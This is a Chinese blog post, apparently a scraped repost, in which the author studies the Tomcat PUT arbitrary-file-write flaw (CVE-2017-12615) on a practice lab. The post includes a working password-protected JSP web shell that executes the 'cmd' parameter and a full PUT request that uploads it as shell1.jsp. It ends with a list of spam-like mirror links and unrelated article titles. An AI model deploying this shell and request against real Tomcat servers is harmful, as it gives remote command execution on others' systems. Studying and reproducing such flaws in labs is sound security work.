当前位置: 首页 > news >正文

Tomcat PUT方法任意写文件漏洞学习

1 PUT请求

PUT请求是一种在HTTP协议中常见的请求方法

1.1 基本原理

PUT请求是一种用于向指定资源位置上传新的实体数据的请求方法,与其他请求方法的区别在于,PUT请求用于创建或者更新只当资源位置的实体数据。它与GET请求不同,PUT请求会替换掉指定位置的原有数据,而不是简单的获取数据

1.2 使用场景

常见的使用场景包裹更新用户信息、上传文件、修改配置等,如使用PUT请求更新用户的个人信息,或者使用PUT请求上传文件到服务器。

1.3 基本语法和格式

PUT /api/users/123 HTTP/1.1
Host: example.com
Content-Type: application/json{"name": "John","age": 30
}
PUT /path/to/resource HTTP/1.1          ← 请求行  
Host: example.com                       ← 必须有 Host 头(HTTP/1.1)  
Content-Type: application/json          ← 实体头:描述消息体格式  
Content-Length: 123                     ← 实体头:消息体字节长度  
(可选) Authorization: Bearer <token>  
(可选) If-Match: "xyz"                   ← 并发控制  
(可选) Accept: application/json         ← 期望响应格式  {                                       ← 消息体(Body):资源的完整新表述  "id": 123,  "name": "New Name",  "price": 29.99  
}  

2 漏洞原理

Tomcat的web.xml配置(readonly=false),导致我们可以往服务器写文件

tomcat本身不允许上传jsp文件,但是1.jsp/加了就不是了,系统在保存时因为不能存在/字符,在保存时就会被忽略,此时jsp文件完成了上传并保存

3 漏洞复现

这里用的是好靶场的CVE-2017-12615

Apache Tomcat 7.0.0 至 7.0.79 版本且启用 HTTP PUT 方法(如将默认的 readonly 初始化参数设为 false )时,攻击者可通过精心构造的请求向服务器上传含恶意代码的 JSP 文件,一旦该文件被请求,其中代码将被服务器执行,造成数据泄露或服务器权限被获取等严重后果。

3.1 验证漏洞存在

开启本地代理,打开BP,启动拦截,刷新页面,抓到请求数据包

更改请求信息,根据响应可知,支持PUT请求方式

请添加图片描述

3.2 上传JSP文件

请添加图片描述

<%if("123".equals(request.getParameter("pwd"))){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}
%>

这段代码的功能是:

  1. 检查请求参数"pwd"的值是否为"123",这里是可以进行更改的,类似于一个密码的作用
  2. 如果密码正确,执行请求参数"cmd"提供的系统命令
  3. 读取命令执行结果并输出到网页上

请添加图片描述

正常来说就没有这个400 Bad Request的,但是我这个不知道怎么回事

寻求ai后是这样的

PUT /shell1.jsp HTTP/1.1
Host: 8t4ptp9.haobachang.loveli.com.cn:8888
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/plain
Content-Length: 419<%if("123".equals(request.getParameter("pwd"))){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a = -1;          byte[] b = new byte[1024];          out.print("<pre>");          while((a=in.read(b))!=-1){out.println(new String(b));          }out.print("</pre>");} 
%>

但出现
请添加图片描述


文章转载自:

http://XFmfE50e.yptwn.cn
http://iZyVk870.yptwn.cn
http://OKDhwcBy.yptwn.cn
http://CONURAx5.yptwn.cn
http://ypJOllBL.yptwn.cn
http://I2WiqGq5.yptwn.cn
http://JynmHQX5.yptwn.cn
http://44DvLUS4.yptwn.cn
http://ANcs19le.yptwn.cn
http://yMjr0Qn5.yptwn.cn
http://Nqi3muub.yptwn.cn
http://TFeKruTU.yptwn.cn
http://1yVUZduz.yptwn.cn
http://GqvNvQ2Z.yptwn.cn
http://2qRMdSrA.yptwn.cn
http://lCjr7hDM.yptwn.cn
http://rjdWmjPm.yptwn.cn
http://2sU3bhTy.yptwn.cn
http://93olJdUB.yptwn.cn
http://Lv5d13hl.yptwn.cn
http://Sz3IgtY0.yptwn.cn
http://j7y60UWR.yptwn.cn
http://EDji5c9O.yptwn.cn
http://7pZUbEhy.yptwn.cn
http://pzf8cLJE.yptwn.cn
http://mwGBm87Y.yptwn.cn
http://GAzZ79mR.yptwn.cn
http://RMPlysNq.yptwn.cn
http://bLX25TFO.yptwn.cn
http://an1FmAOu.yptwn.cn
http://www.dtcms.com/a/378026.html

相关文章:

  • 《云原生边缘与AI训练场景:2类高频隐蔽Bug的深度排查与架构修复》
  • 1台电脑10个画图设计用怎么实现
  • vue自定义指令图片懒加载,并设置占位图
  • Google AI Studio使用1:创建Flink测试题APP
  • 记录算法同类哈希三题(最长连续序列,for循环和增强for循环区别),javeweb:vue的基本命令
  • WPF Telerik.Windows.Controls.Data.PropertyGrid 自定义属性编辑器
  • 谷歌浏览器多开软件推荐使用运营大管家谷歌浏览器多开软件,效率快!
  • Java语言——排序算法
  • 7 排序算法通关指南:从 O (n²)(选择 / 冒泡)到 O (nlogn)(快排 / 归并)+ 计数排序
  • 阿里云 腾讯云 API 自动化查询指南
  • C++STL系列-04. list和forward_list
  • wpf程序启动居中并且最小化到托盘修复记录
  • 《JVM如何排查OOM》
  • ITP 3.0.0 版本重磅发布:接口测试平台迎来多项重大升级
  • 流式细胞术样本处理全攻略(一):组织、血液、体液制备方法详解
  • 【Ansible】将文件部署到受管主机知识点
  • 3 水平分表
  • ISO20000与IT运维和运营的关系
  • AI生成文本检测数据集:基于不平衡数据集(人类94% vs AI 6%)的高效机器学习模型训练,涵盖ChatGPT、Gemini等LLM生成内容
  • 音视频学习(六十四):avc1 hvc1和hev1
  • JC链客云——项目过程中获得的知识、遇到的问题及解决
  • 新手向:从零理解LTP中文文本处理
  • pyproject.toml 的历史背景和原理
  • vue知识点总结
  • macos arm自动编译x264和x265 Android平台so库
  • 三甲地市级医院数据仓湖数智化建设路径与编程工具选型研究(下)
  • Excel批量处理一列数据---分列功能
  • 从Miniflux 到 NextFlux:一步升级,拥抱现代化阅读体验
  • 机器视觉之图像处理篇
  • Find 命令详解